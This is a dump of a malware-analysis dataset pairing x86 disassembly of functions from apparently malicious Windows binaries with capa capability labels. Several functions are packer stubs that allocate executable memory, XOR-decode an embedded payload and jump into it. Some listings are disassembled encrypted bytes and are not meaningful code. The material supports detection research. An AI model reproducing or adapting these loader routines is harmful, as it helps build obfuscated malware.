joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100058f0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10038b1b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10049670]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], 0x1003a654
call fcn.10008650
push 0x18
push 0x10045c60
mov dword [ebp - 4], 0
call fcn.10007930
push eax
push 4
call fcn.10007860
mov edi, eax
add esp, 0x10
test edi, edi
je 0x1000597d
call fcn.10007e00
mov dword [edi], eax
call fcn.10007c10
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.100085e0
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10005973
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.10008620
jmp 0x1000597f
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007310
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10038f24
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x10049670]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x84], edi
mov dword [ebp - 0x80], ebx
mov dword [ebp - 4], 1
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
mov byte [ebp - 0x7c], bl
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x1000737d
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x1c]
lea esi, [ebp - 0x7c]
call fcn.10007060
mov ecx, esi
call fcn.10007110
mov eax, esi
push eax
mov esi, edi
call fcn.100071f0
mov byte [ebp - 4], bl
cmp dword [ebp + 0x20], 0x10
mov dword [ebp - 0x80], 1
jb 0x100073b6
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.10012750
add esp, 4
lea ecx, [ebp + 8]
mov dword [ebp + 0x20], 0xf
mov dword [ebp + 0x1c], ebx
mov byte [ebp + 0xc], bl
call fcn.10004e10
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000ce00
mov esp, ebp
pop ebp
ret
Function at 0x52b000
Capabilities:
Encode data using xor

Disassembly:
push eax
push ecx
push edx
push ebx
push ebp
push esi
push edi
call 0x52b00c
pop ebx
sub ebx, 0x8d00c
push 0
pop ecx
push ebx
sub dword [ebx + 0x2dc], 0x5c7d551b
xor dword [ebx + 0x16c], 0x1f6e71d3
xor dword [ebx + 0x78], 0x48c038a0
add dword [ebx + 0x13c], 0x1dba3383
not dword [ebx + 0x1c4]
add dword [ebx + 0x8c], 0xf113dc0
xor dword [ebx + 0x2b4], 0x57292426
add dword [ebx + 0x90], 0x72815eba
add dword [ebx + 0xdc], 0x3f676a03
sub dword [ebx + 0xac], 0x2cf74d38
add dword [ebx + 0xe0], 0x6b69131d
add dword [ebx + 0x29c], 0x2c485d6c
xor dword [ebx + 0xf4], 0x608f0170
sub dword [ebx + 0xbc], 0x210a4531
xor dword [ebx + 0x30c], 0x594b469c
not dword [ebx + 0xa8]
add dword [ebx + 0x228], 0x44c32042
not dword [ebx + 0x28]
not dword [ebx + 0x168]
add dword [ebx + 0x44], 0x4a34433d
not dword [ebx + 0x290]
sub dword [ebx + 0x150], 0x23f9257e
xor dword [ebx + 0x25c], 0x75b06c62
sub dword [ebx + 0x200], 0x315606bb
add dword [ebx + 0x1dc], 0x544d5946
xor dword [ebx + 0x54], 0x48fb5edc
sub dword [ebx + 0x3c8], 0x4b566e4a
xor dword [ebx + 0x284], 0x59a63ad8
not dword [ebx + 0x3d4]
not dword [ebx + 0x12c]
not dword [ebx + 0x138]
add dword [ebx + 0x70], 0x61052e5c
add dword [ebx + 0x308], 0x6d9a177e
not dword [ebx + 0xb4]
not dword [ebx + 0x318]
not dword [ebx + 0x1b8]
add dword [ebx + 0xe8], 0x39d6514c
xor dword [ebx + 0xc0], 0x593a3e75
sub dword [ebx + 0x14], 0x34c7254a
xor dword [ebx + 0x144], 0x4b767c0f
xor dword [ebx + 0x2bc], 0xfe146f3
not dword [ebx + 0x1b4]
not dword [ebx + 0x18]
not dword [ebx + 0xec]
sub dword [ebx + 0x354], 0x511101c
xor dword [ebx + 0x1f4], 0x7c8b0113
add dword [ebx + 0x2e0], 0x4e59037f
xor dword [ebx + 0x204], 0xa74530b
not dword [ebx + 0x3f0]
not dword [ebx + 0x36c]
sub dword [ebx + 0xf0], 0x2e2716d5
add dword [ebx + 0x3a0], 0x7dcd5ad3
sub dword [ebx + 0x124], 0x45c12a3f
not dword [ebx + 0x3f8]
not dword [ebx + 0x7c]
add dword [ebx + 0x3bc], 0x4b5662fc
not dword [ebx + 0x38c]
add dword [ebx + 0x3b4], 0x4716e9b
sub dword [ebx + 0x268], 0x7b5e5ed3
xor dword [ebx + 0x64], 0x79ae5b82
xor dword [ebx + 0x68], 0x21a5808
xor dword [ebx + 0x1ac], 0x1b11c25
not dword [ebx + 0xe4]
xor dword [ebx + 0x238], 0x17d02532
not dword [ebx + 0x158]
not dword [ebx + 0x2d8]
xor dword [ebx + 0x384], 0x6b5c1d99
add dword [ebx + 0x4c], 0x7063f5f
add dword [ebx + 0x328], 0x35035334
xor dword [ebx + 0x114], 0x10564ac8
add dword [ebx + 0x1cc], 0x82f30d6
sub dword [ebx + 0x2a8], 0xa784eff
sub dword [ebx + 0x198], 0xe8654bf
add dword [ebx + 0x50], 0x63ca43fa
add dword [ebx + 0x194], 0x5a675ee3
sub dword [ebx + 0x3a4], 0x6a3c4d34
not dword [ebx + 0x60]
xor dword [ebx + 0x5c], 0xcb362ec
add dword [ebx + 0x3d8], 0x68ea7a5d
not dword [ebx + 0x244]
not dword [ebx + 0x378]
add dword [ebx + 0x154], 0x6cd729aa
add dword [ebx + 0x234], 0x6de47141
xor dword [ebx + 0xd0], 0x409c43f3
not dword [ebx + 0x2b8]
not dword [ebx + 0x14c]
not dword [ebx + 0x2d4]
xor dword [ebx + 0x270], 0x7f203390
xor dword [ebx + 0x210], 0x2ea761a0
sub dword [ebx + 0x2f4], 0x7aa66ab
xor dword [ebx + 0x98], 0x1baa4fc7
sub dword [ebx + 0x330], 0x3dad3c3a
xor dword [ebx + 0xc8], 0x3d13443
invalid
inc ebx
Function at 0x401771
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x410
mov dword [ebp - 8], 0xffffffff
mov word [ebp - 0xe], 0
movzx eax, word [ebp - 0xe]
cmp eax, 0xff
jg 0x4017ea
movzx eax, word [ebp - 0xe]
mov dword [ebp - 0xc], eax
mov byte [ebp - 0xf], 0
movzx eax, byte [ebp - 0xf]
cmp eax, 7
jg 0x4017cf
mov eax, dword [ebp - 0xc]
and eax, 1
test eax, eax
je 0x4017c0
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, 0xedb88320
mov dword [ebp - 0xc], eax
jmp 0x4017c3
shr dword [ebp - 0xc], 1
movzx eax, byte [ebp - 0xf]
add eax, 1
mov byte [ebp - 0xf], al
jmp 0x40179e
movzx eax, word [ebp - 0xe]
mov edx, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x414], edx
movzx eax, word [ebp - 0xe]
add eax, 1
mov word [ebp - 0xe], ax
jmp 0x401788
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jae 0x401828
mov eax, dword [ebp - 8]
shr eax, 8
mov ecx, eax
mov eax, dword [ebp - 8]
mov ebx, eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x14]
add eax, edx
movzx eax, byte [eax]
xor eax, ebx
movzx eax, al
mov eax, dword [ebp + eax*4 - 0x414]
xor eax, ecx
mov dword [ebp - 8], eax
add dword [ebp - 0x14], 1
jmp 0x4017f1
not dword [ebp - 8]
mov eax, dword [ebp - 8]
add esp, 0x410
pop ebx
pop ebp
ret

Function at 0x40741b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 1], 0
mov byte [ebp - 9], 0
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
cmp al, 0x1a
jne 0x407448
mov eax, dword [ebp + 8]
add eax, 1
movzx eax, byte [eax]
cmp al, 1
jne 0x407448
add dword [ebp + 8], 2
sub dword [ebp + 0xc], 2
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0xc]
jae 0x4074a2
movzx edx, byte [ebp - 1]
mov eax, dword [ebp + 0x10]
add eax, edx
movzx eax, byte [eax]
test al, al
jne 0x40746b
mov byte [ebp - 1], 0
movzx edx, byte [ebp - 1]
mov eax, dword [ebp + 0x10]
add eax, edx
movzx eax, byte [eax]
mov byte [ebp - 9], al
movzx eax, byte [ebp - 1]
add eax, 1
mov byte [ebp - 1], al
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
add edx, eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 8]
add eax, ecx
movzx eax, byte [eax]
xor al, byte [ebp - 9]
mov byte [edx], al
add dword [ebp - 8], 1
jmp 0x40744f
nop
leave
ret
Function at 0x40c300
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x416094
call sym._EnterCriticalSection_4
mov ebx, dword [0x41608c]
sub esp, 4
test ebx, ebx
je 0x40c34b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x40c344
test esi, esi
je 0x40c344
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40c320
mov dword [esp], 0x416094
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40c530
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x40c580
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x40c658
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40c5be
cmp eax, 4
jne 0x40c5e0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40c5ce
cmp edx, 4
je 0x40c5ce
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0040c530
Function at 0x10011f89
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10011f98
pop dword [ebp - 0x2c]
mov eax, 0x10011f98
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x57dfb
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xe76430ff
add ecx, 0x189c0f84
mov esi, eax
mov edx, 0x100a0c00
add edx, dword [ebp - 0x2c]
mov edi, 0x4e75c4de
add edi, 0x895bcba4
sub dword [ebp - 0x18], 0x283a1755
mov ebx, dword [edx]
mov dword [ebp - 0x24], 0xce43439f
xor ebx, edi
add dword [ebp - 0x1c], eax
mov dword [esi], ebx
add esi, 0x6abcbfbf
add esi, 0x95434045
add edx, 0xefdc82a5
sub edx, 0xefdc82a1
loop 0x10011fe7
add eax, 0x767ba6c3
add eax, 0x89854e1c
mov ebx, eax
add eax, 5
mov ecx, 0xc2ecaafd
add ecx, 0x4d135503
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x1004605f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100870c0]
jne 0x10046069
repz ret
jmp fcn.1004ef8a
Function at 0x1004eda7
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10087268]
je 0x1004edc2
inc edi
cmp edi, 0x17
jb 0x1004edb3
cmp edi, 0x17
jae 0x1004ef42
push ebp
push 3
call fcn.10055799
cmp eax, 1
pop ecx
je 0x1004ef0e
push 3
call fcn.10055799
test eax, eax
pop ecx
jne 0x1004edf6
cmp dword [0x1008894c], 1
je 0x1004ef0e
cmp ebx, 0xfc
je 0x1004ef41
push 0x1000ae6c
mov ebx, 0x314
push ebx
mov ebp, 0x10088b00
push ebp
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee2c
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x104
mov esi, 0x10088b19
push esi
push 0
mov byte [0x10088c1d], 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1004ee70
push 0x1000ae54
push 0x2fb
push esi
call fcn.1004bc25
add esp, 0xc
test eax, eax
je 0x1004ee70
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.1004fb11
add esp, 0x14
push esi
call fcn.10055430
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1004eeb5
push esi
call fcn.10055430
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x10088e14
push 0x1000a540
sub ecx, eax
push ecx
push eax
call fcn.10011f89
add esp, 0x14
test eax, eax
je 0x1004eeb5
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
jmp 0x1004eeb7
xor esi, esi
push 0x1000ae50
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eed7
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push dword [edi*8 + 0x1008726c]
push ebx
push ebp
call fcn.1004bbb4
add esp, 0xc
test eax, eax
je 0x1004eef9
push esi
push esi
push esi
push esi
push esi
call fcn.1004fb11
add esp, 0x14
push 0x12010
push 0x1000ae28
push ebp
call fcn.10011f89
add esp, 0xc
jmp 0x1004ef41
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x1004ef41
cmp ebp, 0xffffffff
je 0x1004ef41
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1008726c]
push dword [esi]
call fcn.10055430
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.kernel32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0xefa108
Capabilities:
Encode data using xor

Disassembly:
jmp 0xefa112
pushal
call 0xefa118
pop ebp
sub ebp, 0x10
sub ebp, 0xafa108
jmp 0xefa12e
mov eax, 0xafa108
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a9
mov edx, 0x6dfec0b2
xor byte [eax], dl
inc eax
dec ecx
jne 0xefa145
jmp 0xefa158
cmp dword [edi + 0x39], edi
cmp ecx, dword [esi + 0x33b2b2b2]
jae 0xefa1ad
mov dl, 0xb2
mov dl, 0xb1
jg 0xefa173
mov ah, 0xb2
mov dl, 0xb2
or byte [edx + 0x45b2b2b2], bl
push eax
mov cl, 0x7a
cmp dword [ebx], esi
mov esi, 0xb1b2b2b2
mov dl, 0xb1
ja 0xefa161
aas
salc
xchg esi, eax
dec esi
cmp esi, dword [esi - 0x26fd256a]
xchg ebx, eax
mov dl, 0xda
in eax, 0x87
cmp al, 0xb2
mov bl, 0x9e
xchg esi, eax
ficom dword [eax + 0x5a9bd369]
mov bh, 0xb2
mov dl, 0xb2
pop ebx
xchg byte [edx - 0x29c04d4e], dh
xchg esi, eax
dec esi
cmp ebx, dword [esi + 0x39efe696]
aaa
mov edx, 0x39b2b2b2
daa
mov esi, 0x39b2b2b2
aas
mov byte [0x73b2b2b2], al
pop ebx
mov al, 0x83
mov al, 0x31
jo 0xefa17b
sti
mov ebp, 0x4d4d4637
dec ebp
cmp dword [esi - 0x6929c06a], ebx
mov dh, 0x70
mov esi, 0x963e39b2
mov dh, 0xb2
mov dl, 0xb2
fiadd dword [edx]
fst dword [ebx - 0x781a254e]
cmp al, 0xb2
mov bl, 0x9e
xchg esi, eax
jecxz 0xefa246
mov bh, 0xb2
mov dl, 0xb2
pop ebx
lea esi, [eax + 0x39e7b2b2]
pop esi
dec ebp
invalid
pop edx
mov bh, 0xfa
mov ebp, 0xb2b2fc36
mov dl, 0xbd
cmp bh, dl
mov dl, 0xb2
mov dl, 0xd4
cmp dword [esi + 0x5a49328b], ebp
mov ebp, 0xb2b2a836
mov dl, 0x32
dec ecx
pop ebx
test al, 0xb2
mov dl, 0xb2
xor cl, byte [ecx + 0x5b]
mov ebp, 0xb2b2a336
mov dl, 0xd4
xor ecx, dword [ecx + 0x4d]
xchg edi, eax
mov ebp, 0xb2b2a736
cmpsd dword [esi], dword es:[edi]
mov dl, 0xb2
mov dl, 0xf3
pop ebx
jle 0xefa29b
dec ebp
dec ebp
wait
dec byte [ebx - 0x488cce4d]
xor dword [edx - 0x4a], ebx
pop ebx
cmovge ecx, dword [ebp + 0x4d]
wait
out 0x8b, al
mov al, 0x31
jae 0xefa21a
xor dword [eax - 0x4a], ebx
xor dword [edx - 0x49], ebx
pop ebx
sbb dword [ebp + 0x4d], ecx
dec ebp
out dx, eax
jo 0xefa232
mov dl, 0xe7
cmp dword [esi - 0x1c], ebx
in eax, 0xe7
cmp edi, eax
mov esi, 0x4ebacf39
add byte [edx], dh
cmp byte [ebx + esi - 0x4d4d4c8c], dh
mov dl, 0x3a
mov ch, 0x33
jne 0xefa244
mov dl, 0xb2
mov dl, 9
mov al, 0xb2
mov dl, 0xb2
mov al, 0x60
mov ebp, 0xb2b2b737
mov dl, 0x38
movsb byte es:[edi], byte [esi]
hlt
Function at 0x1001aeee
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1001aefd
pop dword [ebp - 0xc]
mov eax, 0x1001aefd
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xb0ab8982
sub dword [ebp - 0x1c], 0x62594437
mov dword [ebp - 0x18], 0x2b46977d
add dword [ebp - 0x18], 0x6ecb4c8
mov dword [ebp - 0x14], 0x2eb1c19b
sub dword [ebp - 0x14], 0xe2657d6d
mov dword [ebp - 0x10], 0xd4911cc0
sub dword [ebp - 0x10], 0xd4911cc0
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x62a344f8
sub eax, 0x52a18478
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x638bb192
add dword [ebp - 0x1c], 0x10e6b7c4
mov dword [ebp - 0x18], 0x8722d6c
add dword [ebp - 0x18], 0x38fa3409
mov dword [ebp - 0x14], 0x9f1f19e7
sub dword [ebp - 0x14], 0x3bafad7b
mov dword [ebp - 0x10], 0xb2b3c16
sub dword [ebp - 0x10], 0xb2b3c16
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xd0007154
sub eax, 0xbffeb154
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3343a
push 0
call eax
mov ecx, 0x3757
mov edi, eax
mov esi, 0x1f694011
sub esi, 0xf66d811
add esi, dword [ebp - 0xc]
mov ebx, 0xa5327252
xor dword [ebp - 8], 0x9a0492e9
mov edx, dword [esi]
sub dword [ebp - 4], 0x6e96b153
xor edx, ebx
sub dword [ebp - 8], 0x211c8509
mov dword [edi], edx
xor dword [ebp - 4], edx
add edi, 0x44e0d0f1
sub edi, 0x44e0d0ed
add esi, 4
loop 0x1001b00e
add eax, 0xb464572f
sub eax, 0xb4638700
xor ebx, ebx
add ebx, eax
add eax, 0xf7945a44
sub eax, 0xf7945a3f
mov ecx, 0xa1d1c341
sub ecx, 0x91d1c341
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x1000261d
Capabilities:
Resume thread

Disassembly:
push 8
mov eax, 0x1000b431
call fcn.1000a6a6
mov esi, 0x10015024
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
mov byte [ebp - 0x10], 1
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp byte [0x10014fed], bl
jne 0x1000269a
push str.starting_PDFL_thread..._n
call fcn.1000ab43
pop ecx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateEventW]
mov dword [0x10014ff0], eax
mov byte [0x10014fec], bl
cmp dword [0x10014fe4], ebx
jne 0x10002676
call fcn.100025f7
push dword [0x10014fe4]
call dword [sym.imp.kernel32.dll_ResumeThread]
push 0xea60
push dword [0x10014ff0]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov byte [0x10014fed], 1
or dword [ebp - 4], 0xffffffff
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
call fcn.1000a77e
ret

Function at 0x10009a58
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1000b983
call fcn.1000a745
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 0x428], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x418], esi
push 2
push esi
push eax
mov byte [ebp - 4], 1
call fcn.10006ab2
mov dword [ebp - 0x41c], eax
cmp eax, esi
jne 0x10009ab0
call fcn.10004252
mov esi, eax
jmp 0x10009b86
push ebx
push edi
push eax
call dword [sym.imp.kernel32.dll_FindResourceW]
mov edi, eax
cmp edi, esi
jne 0x10009ac9
call fcn.10004252
jmp 0x10009b78
push edi
push dword [ebp - 0x41c]
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
cmp eax, esi
je 0x10009abf
push edi
push dword [ebp - 0x41c]
call dword [sym.imp.kernel32.dll_SizeofResource]
mov edi, eax
lea eax, [edi + 1]
mov dword [ebp - 0x424], edi
cmp eax, edi
jae 0x10009b03
mov esi, 0x8007000e
jmp 0x10009b7a
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1000ab43
mov dword [ebp - 4], 1
jmp 0x10009b31
cmp dword [ebp - 0x418], esi
je 0x10009afc
push edi
push dword [ebp - 0x418]
push edi
push dword [ebp - 0x420]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
cmp eax, esi
je 0x10009abf
mov edx, dword [ebp - 0x418]
push dword [ebp + 0x14]
xor ecx, ecx
mov word [edx + eax*2], cx
push dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
call fcn.1000ab43
mov esi, eax
push dword [ebp - 0x41c]
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10009b9f
lea ecx, [ebp - 0x418]
call fcn.100061ea
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x428]
call fcn.10004520
mov eax, esi
call fcn.1000a7a1
ret 0x10
Function at 0x1000a61a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10014704]
jne 0x1000a624
repz ret
jmp fcn.1000ae86

Function at 0x1000ab43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1000ab52
pop dword [ebp - 0x10]
mov eax, 0x7124d549
add eax, 0x9edbd609
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xf2851acf
add dword [ebp - 0x20], 0x5bcd2a7c
mov dword [ebp - 0x1c], 0xee652a85
sub dword [ebp - 0x1c], 0xbc31de40
mov dword [ebp - 0x18], 0x23045776
sub dword [ebp - 0x18], 0xd6b81348
mov dword [ebp - 0x14], 0xe6f9cc7b
sub dword [ebp - 0x14], 0xe6f9cc7b
lea eax, [ebp - 0x20]
push eax
mov eax, 0xe152b34b
sub eax, 0xd151e253
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x87e10709
add dword [ebp - 0x20], 0xec91624d
mov dword [ebp - 0x1c], 0x2accdba8
add dword [ebp - 0x1c], 0x169f85cd
mov dword [ebp - 0x18], 0x90e7528
sub dword [ebp - 0x18], 0xa59f08bc
mov dword [ebp - 0x14], 0x7c6ac2d
sub dword [ebp - 0x14], 0x7c6ac2d
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xdd937c86
sub eax, 0xcd92ab96
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3a3df
push 0
call eax
mov ecx, 0xe4e6849e
sub ecx, 0xe4e63499
xor edx, edx
add edx, eax
mov ebx, 0x10019c00
add ebx, dword [ebp - 0x10]
mov edi, 0x6ceb165d
xor dword [ebp - 8], 0x51e7fdf9
mov esi, dword [ebx]
sub esi, edi
xor dword [ebp - 4], edi
mov dword [edx], esi
sub dword [ebp - 4], ebx
add edx, 0xcd6d1859
add edx, 0x3292e7ab
add ebx, 4
loop 0x1000ac6a
add eax, 0x37c08a23
add eax, 0xc840a8c4
mov ebx, eax
add eax, 0x1b574a1a
add eax, 0xe4a8b5eb
mov ecx, 0x59a2d528
add ecx, 0xb65d2ad8
add ecx, dword [ebp - 0x10]
call ebx
leave
ret